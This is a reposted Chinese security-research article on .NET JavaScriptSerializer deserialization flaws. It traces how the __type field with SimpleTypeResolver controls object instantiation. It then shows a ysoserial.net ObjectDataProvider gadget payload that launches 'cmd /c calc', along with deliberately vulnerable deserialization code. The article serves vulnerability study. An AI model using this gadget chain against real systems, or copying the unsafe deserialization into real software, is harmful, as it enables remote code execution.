反序列化学习 -- JavaScriptSerializer

admin 2022年5月5日02:09:19代码审计评论5 views2920字阅读9分44秒阅读模式

反序列化学习 -- JavaScriptSerializer

JavaScriptSerializer是微软内部自带的api,可以在对象和json字符串之前来回转换。其命名空间位于System.Web.Script.Serialization,结构如下:

反序列化学习 -- JavaScriptSerializer

demo

序列化反序列化demo

using System;using System.Web.Script.Serialization;
namespace JavaScriptDeserialize{ class Person { public string Name { get; set; }
} class Program { static void Main(string[] args) { // no SimpleTypeResolver Person person = new Person() { Name = "jack" }; JavaScriptSerializer serializer = new JavaScriptSerializer(); string v = serializer.Serialize(person); Console.WriteLine(v); Person p = serializer.Deserialize<Person>(v); Console.WriteLine(p.Name);
// SimpleTypeResolver JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); string v1 = serializerWithType.Serialize(person); Console.WriteLine(v1); Person p1 = serializerWithType.Deserialize<Person>(v1); Console.WriteLine(p1.Name); Console.ReadKey(); } }}

输出

{"Name":"jack"}jack{"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}jack

产生漏洞的原因是在构造函数有两个参数的重载:public JavaScriptSerializer(JavaScriptTypeResolver resolver),其中JavaScriptTypeResolver参数是一个类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。

当构造函数使用SimpleTypeResolver参数时,序列化的json中会带有type信息,反序列化时就有漏洞隐患。反序列化方法有三个:

反序列化学习 -- JavaScriptSerializer

这三个方法都是对internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit)的一个封装

反序列化学习 -- JavaScriptSerializer

调用BasicDeserialize

反序列化学习 -- JavaScriptSerializer

继续调用DeserializeInternal

反序列化学习 -- JavaScriptSerializer

然后

反序列化学习 -- JavaScriptSerializer

根据节点标签不同的类型进入不同的反序列化实现,当节点标签是Object类型时,先DeserializeDictionary拿到键值对字典,如果包含了__type字段,则会进入ConvertObjectToType转换类型。然后一层层进入ConvertObjectToTypeInternal

反序列化学习 -- JavaScriptSerializer

ConvertObjectToTypeInternal中又会进入ConvertDictionaryToObject

反序列化学习 -- JavaScriptSerializer

在ConvertDictionaryToObject中,当满足if (serializer.TypeResolver != null)类型解析器不为空时,尝试获取__type字段的值赋值给obj2,然后强转字符串赋值给text变量。然后通过serializer.TypeResolver.ResolveType(text)拿到type赋值给type2。

反序列化学习 -- JavaScriptSerializer

而类型解析器ResolveType中直接使用Type.GetType获取类型,相当于__type控制对象类型。

反序列化学习 -- JavaScriptSerializer

而type2最终通过Activator.CreateInstance(type2)创建对应类型实例。

反序列化学习 -- JavaScriptSerializer

那么我们传入包含__type字段的json,就会转为对应类型的对象。

攻击链

使用ObjectDataProvider攻击链,通过ObjectDataProvider来创建Process实例。payload如下:

PS E:codeysoserial.netysoserialbinDebug> .ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc{    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',    'MethodName':'Start',    'ObjectInstance':{        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',        'StartInfo': {            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',            'FileName':'cmd', 'Arguments':'/c calc'        }    }}

反序列化代码如下

using System;using System.IO;using System.Web.Script.Serialization;
namespace JavaScriptDeserialize{ class Program { static void Main(string[] args) { // SimpleTypeResolver JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); serializerWithType.Deserialize<Object>(File.ReadAllText("1.json")); Console.ReadKey(); } }}

这里Deserialize<Object>用到了Object类型。也可以用其他的Deserialize重载方法。

该内容转载自网络,更多内容请点击“阅读原文”

反序列化学习 -- JavaScriptSerializer

原文始发于微信公众号(web安全工具库):反序列化学习 -- JavaScriptSerializer

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月5日02:09:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  反序列化学习 -- JavaScriptSerializer http://cn-sec.com/archives/973848.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: